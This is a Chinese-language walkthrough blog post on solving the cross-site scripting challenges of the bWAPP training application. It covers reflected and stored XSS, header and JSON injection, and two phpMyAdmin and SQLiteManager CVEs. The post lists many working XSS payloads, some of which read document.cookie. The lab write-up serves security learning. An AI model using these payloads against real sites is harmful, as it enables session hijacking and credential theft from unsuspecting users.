03BWAPP通关指北——跨站脚本攻击篇

夺旗攻略 2018-11-05

作者:古月蓝旻

XSS - Reflected (GET)--low

非常典型的反射型XSS,payload也非常简单

<script>alert(/xss1/)</script>
<svg onload=alert(/xss2/)>
<a href=javascript:alert(/xss3/)>aa</a>
...

最后形成的url如下

http://192.168.248.132/bWAPP/xss_get.php?firstname=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&lastname=%3Csvg+onload%3Dalert%28%2Fssx%2F%29%3E&form=submit

直接访问一下

成功弹窗无压力,那么XSS有啥用途,直接弹窗?

不是的,XSS由于可以执行跨站脚本,可以实现

  1. 钓鱼
  2. 窃取cookie等凭证
  3. 键盘记录
    ...

XSS - Reflected (POST)--low

post型和get型区别就在于传入的值能否在url中显示

post型xss不在url中显示,如果不是存储型,那么效力相较于get型,差了不止一个档次,很可能是self-xss,这样的话,效力就会低很多

XSS - Reflected (JSON)--low

一开始没看出这个页面和json有什么关系,尝试了一下xss的常规payload,然后出了真相

json类型的xss自己以前接触很少,网上找了一些资料,介绍还是很不错的

菜鸟初时xss套路之json+ajax+xml

这里引用一下

JSON(JavaScript Object Notation)JavaScript 对象表示法 是一种轻量级的数据交换格式

在 JS 语言中,一切都是对象。因此,任何支持的类型都可以通过 JSON 来表示,
例如字符串、数字、对象、数组等。但是对象和数组是比较特殊且常用的两种类型:

对象表示为键值对
数据由逗号分隔
花括号保存对象
方括号保存数组

JSON 是 JS 对象的字符串表示法,它使用文本表示一个 JS 对象的信息,本质是一个字符串。
如

var obj = {a: 'Hello', b: 'World'}; //这是一个对象,注意键名也是可以使用引号包裹的

var json = '{"a": "Hello", "b": "World"}'; //这是一个 JSON 字符串,本质是一个字符串

看一下实例

<script type="text/javascript">
var JSONObject= {
"name":"Bill Gates",
"street":"Fifth Avenue New York 666",
"age":56,
"phone":"555 1234567"};
document.getElementById("jname").innerHTML=JSONObject.name
document.getElementById("jage").innerHTML=JSONObject.age
document.getElementById("jstreet").innerHTML=JSONObject.street
document.getElementById("jphone").innerHTML=JSONObject.phone
</script>

基础知识补充得差不多了,我们看一下题目,拿F12看下源码还有新的发现

当我们查询任意字符串的时候,底下还有一个div表明查询js的语句

<script>

    var JSONResponseString = '{"movies":[{"response":"meetsec??? Sorry, we don&#039;t have that movie :("}]}';

    // var JSONResponse = eval ("(" + JSONResponseString + ")");
    var JSONResponse = JSON.parse(JSONResponseString);

    document.getElementById("result").innerHTML=JSONResponse.movies[0].response;

</script>

看到了js就能根据查询的思路去闭合前面的特殊符号,然后执行我们的脚本,payload如下:

aa"}]}';alert(/xss4/)</script>

此时闭合的效果如下

之所以去掉<script>是因为前面有,使用</script>与之闭合即可

可以成功弹窗,xss的payload真的需要根据实际情况灵活变动

当然还有一些payload也可以

<img src=1 onerror=alert(/xss5/) />

<svg onload=alert(/xss6/) />

原因是由于浏览器和js的兼容性,这些语句可以在其中执行,但其实并非本题想介绍的绕过方法

XSS - Reflected (AJAX/JSON)--low

这道有点意思,首先ajax是异步javascript和xml,用途在于不更新整个页面的情况下,根据输入更新局部内容

比如这题我输入aaa,我每输入一个a,js都会自动把我输入的字符串去查一下,然后返回结果,类似于百度的搜索预测

这里全靠ajax了,那么既然原样返回输入结果,那么可以测试的就很多实际过程中

<img src=1 onerror=alert(/xss7/) />

<svg onload=alert(/xss8/) />

<a href=javascript:alert(/xss9/)>aaa</a>

都可以,当然HTML注入也行,比如

aaa<s>

aaa<h1>666</h1>

可以自行发挥

XSS - Reflected (AJAX/XML)--low

这题和上面挺像,也是通过AJAX将输入的字符逐一向服务端进行查询,不同的是返回的响应包类型为xml

如果我们传入一个正常的字符串进去,返回的内容为xml,那么一开始的思路很自然就是XXE,当然实战过程中发现这个并不可以,响应只是单纯输出,并非对请求进行了解析,回归正题,我们试试xss的payload

<script>alert(/xss10/)</script>

<img src=1 onerror=alert(/xss11/) />

<svg onload=alert(/xss12/) />

结果发现一个都不行啊,尝试了一些其它的还是有问题,明明我们的响应包里已经原样返回了好伐?

后来仔细想了一下,这里返回是xml,不是html啊,是不是会有问题

查了一下,果然xml中有5个特殊字符,拥有特殊含义,无法直接在xml中输入,因此进行了实体引用,分别是

所以我们输入的<>符号在xml中均无法正常显示,因此需要对payload中的特殊字符进行实体引用

&lt;img src=# onerror=alert(1)&gt;

&lt;svg onload=alert(/xss13/)&gt;

此时再尝试,看见弹窗正常,html源码里对实体引用自动自行了还原

而在非实体引用的情况下,由于xml都无法解析payload中的<>,虽在响应包中显示正常,但是由于无法解析,因此无法传递给当前HTML,自然不会生效

这题也顺便看下源码好了,这两题类型很像,不再看上题了

xss_ajax_1-1.php

这里没啥东西,主要是调用了一个xss_ajax_1.js并加载了某不知名js函数process()

xss_ajax_1.js

这里主要看到了process()函数的真实意图,将title中的内容以GET方式传给xss_ajax_1-2.php

xss_ajax_1-2.php

本页面主要负责生成并输出xml,在low级别下,title的内容被直接拼接到了xml里,这里就是问题所在

XSS - Reflected (Back Button)--low

首先理解一下这题的含义,点击Go back按钮会返回上一个页面,其实想想上一个页面是怎么来的呢?

很简单,就是请求的referer

知道原理以后就好办了,我们改一下请求的referer即可

但是改成什么呢,上面的payload都会失效,找了半天,发现这个payload很好用

'" onmousemove="alert(/xss14/)"

此时只要鼠标移动即触发事件

为啥常规payload会失效?

<input value="Go back" onclick="document.location.href=''" onmousemove="alert(/xss15/)" '"="" type="button">

看着代码其实可知document.location.href='是去不掉的,我们可以使用'"对它进行闭合,但是后面如果直接跟上<svg onload=alert(/xss16/) />等类似payload会把整个按钮给拆分了,而上面的payload其实是在Go back按钮原先的基础上增加一个onmousemove的动作,改动很小很和谐

如果想来波大改可以试试下面的payload

'" type="button"><input value="666" onclick="alert(/xss17/)" type="button">

先闭合原来的Go back,然后直接多了一个按钮,按下以后直接弹窗

XSS - Reflected (Custom Header)--low

这题其实挺简单的,提示也很明显

有些站点使用了自定义的HTTP请求头字段,但是自定义字段可能会引入风险

比如这题提示增加一个bWAPP字段,那么我们就在请求头里加一个

bWAPP:<script>alert(/xss18/)</script>

看看效果

原因是什么的,看下源码

首先使用php自带的getallheaders()函数遍历http请求头所有字段,将bWAPP字段的内容放入其中,在low级别下没有任何处理

根据这题目的提示,我们也使用</i>标签闭合echo自带的<i>

bWAPP:</i><svg onload=alert(/xss19/) />
bWAPP:</i><img src=1 onerror=alert(/xss20/) />

XSS - Reflected (Eval)--low

看标题和URL,应该是用eval执行了Date()函数,一开始自然想往eval执行php代码的角度来,比如phpinfo()什么的,后来发现思路不对,这是xss啊

我们看一下网页的源码

原来日期是夹在js的eval里,而非php的eval里,难怪phpinfo不行

<script>eval("document.write(Date())");</script>

针对这种情况,我们可以想办法破坏一下闭合关系,payload如下

</script><script>alert(/xss21/)</script>
</script><img src=1 onerror=alert(/xss22/) />
)");</script><svg onload=alert(/xss23/) />

均可正常弹窗,那么源码里到底出了啥问题呢

其实挺明显的,这里不多解释了

当然,这里其实有更简单的思路直接来一波

192.168.248.130/bWAPP/xss_eval.php?date=alert(/xss24/)

毕竟date后的内容可以直接在<script>标签对中

XSS - Reflected (HREF)--low

还是有点意思的一道题

原意是让你给你喜爱的电影投票,投之前先输入自己的名字,提示是href

那么那里有href呢?我们看到当我们随便输入自己的名字后,在vote处有一个超链接,F12看一下

<a href="xss_href-3.php?movie=1&name=meetsec&action=vote">Vote</a>

嗯movie动不了,action动不了,但是name可控啊,那么我们直接在第一步输入姓名的时候输入

><script>alert(/xss25/)</script>

会怎么样?当然是酸爽的感觉,自行体会吧

那么是什么导致的呢?

自然就是php的echo大法好,name来背锅了

XSS - Reflected (Login Form)

这题一开始有点迷,但是后来仔细理了一下思路

刚开始看着像sql注入,以为要注册一个用户然后改用户名为xss的payload

后来想想不对,xss的本质在于输入点用户可控,输入恶意payload以后,由于输入输出都没做处理,在输出点执行了恶意payload

那么这里输入点两个,输出点怎么找?

如我一开始的思路那就不是xss了

不过可以借鉴一下,当我们输入1'会怎么样

这里没有验证字段是不是为空啊,但是从报错可以看出这里能把输入给输出,这就好办了,我们在此基础上,来一波xss

用户名1' or <script>alert(/xss26/)</script>
密码随意,空值亦可

嗯,果然弹窗,that's good~

看下源码

die("Error: " . mysql_error());

这一句创建了输出,输出的 mysql_error()同样没做转义和过滤,造成了xss,真是醉人

phpMyAdmin BBCode Tag XSS--low

嗯,非常喜欢的题型,直接上CVE感觉超nice

提示很明显了,phpmyadmin的error.php中的BBCODE标签可以来XSS

我们先看下error.php长啥样?

http://192.168.248.130/phpmyadmin/error.php

挺干净啊,学习一下CVE-2010-4480

error.php in PhpMyAdmin 3.3.8.1, and other versions before 3.4.0-beta1, allows remote attackers to conduct cross-site scripting (XSS) attacks via a crafted BBcode tag containing "@" characters, as demonstrated using "[a@url@page]".

在PhpMyAdmin 3.3.8.1 ,或3.4.0-beta1之前的error.php里,允许远程攻击者通过精心构造的,BBcode标签包含“@”字符,使用“[a@page]”进行跨站点脚本(XSS)攻击。

那么BBCODE又是什么呢?

BBCode 代码是一种 HTML 的特别语法, 您是否使用 BBCode 代码取决于管理员的开放与否, 另外您也可以在每个文章的发表版面中取消这个功能. BBCode代码的型式类似HTML语法, 可以使用 [ and ] 而不可以使用 < and >标签, 它提供了更好的操作方便性和控制面板的编排. 您可以在文章发表的表格上方发现 BBCode 代码的便捷按钮

比如

BBCode 代码提供一些文字标签方便您快速的更改文字的基本形式. 如下:
粗体 [b][/b], 如: 

[b]你好[/b]

会变成你好

要使用底线时, 可用[u][/u], 如:

[u]你好[/u]

变成你好

要斜体显示时, 可用 [i][/i], 如:

真是[i]太好了[/i]

其实挺像MarkDown的,也就是说,如果网站开启了对BBCODE的支持,是可以通过BBCODE进行页面编写的

那么本题就是利用该版本phpmyadmin的error.php支持BBCODE,且对[a]标签未做处理,使得XSS可以发生

我们自己试验一下吧

http://192.168.248.130/phpmyadmin/error.php?type=Meetsec+just+test&error=Let's go and find it![br]where+you+are?-+[a@https://www.meetsec.cn@]This is my website[/a]

对于error.php而言,type内容对应标题,error内容对应错误内容

效果拔群,插入成功,单机即可进入我的站点

XSS - Reflected (PHP_SELF)--low

送分题,源于php自身echo变量时如果不加处理,会导致恶意payload的输出

任意一个框里,输入

<script>alert(/xss27/)</script>

即可,此题不多说

XSS - Reflected (Referer)--low

和back button题很像,还更简单一些,改请求包的referer即可

XSS - Reflected (User-Agent)--low

一个套路,改UA即可,不多截图了

XSS - Stored (Blog)--low

这个blog已经被鞭尸多次,存储型XSS,没做过滤,随便输入一个xss的payload保存即可,真是醉了

XSS - Stored (Change Secret)--low

很简单的一题,也是存储型XSS,输入任意值改secret,改在哪里?

当然是users表里

自然也能改成XSS的payload的

关键是,怎么验证?

这个很简单,前面有题目提供了users的登录,并且返回用户名和secret

它就是 SQL Injection (Login Form/User)--sqli_16.php

自然改成xss的payload,登录即可弹窗

XSS - Stored (Cookies)--low

这道题思路是有的,但是无法执行JS

思路就是吧genre的值改成xss的payload(比如<img src=1 onerror=alert(/xss28/) />),然后刷新页面,cookie会增加一个字段movie_genre

然并卵,这里并不会弹窗

网上也找了一些资料,都是到这一步无法弹窗,当然也有一些装模作样的教程说自己构造吧,能行,其实都是扯,原因看源码可知

源码中,本页面的输出点只有message,而该变量的值固定为

 $message = "Thank you for making your choice!";

根本没有和cookie相关的

那么是不是无解了呢?当然不是,既然本页面没有cookie的输出点,我们去能输出cookie的页面就好了,比如

Session Mgmt. - Cookies (HTTPOnly)--smgmt_cookies_httponly.php

单击显示cookie,此时请求里带了我们的恶意payload,自然可以弹窗

非常nice,所以想清楚xss的原理自然就能分辨教程是否扯淡

SQLiteManager XSS--low

嗯,还是比较简单的一道题,首先是sqlite的xss

提示了cve-2012-5105

exp很多啊,尝试一下

main.php?dbsel='"</script><script>alert(document.cookie)</script>

直接弹窗,反射型XSS,方便又快捷

还有一些仅能在IE下使用的payload

IE-only
http://www.example.com/sqlite/?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))
http://www.example.com/sqlite/index.php?dbsel=" stYle="x:expre/**/ssion(alert(document.cookie))
http://www.example.com/sqlite/index.php?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))

XSS - Stored (User-Agent)--low

和前面的UA题类似,因为这里是存储型,取数据库中本页面3次访问记录的UA,改UA为XSS的payload即可,不单独介绍

跨站篇完结,共计新增约10000字真是醉人


本文由 古月蓝旻 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论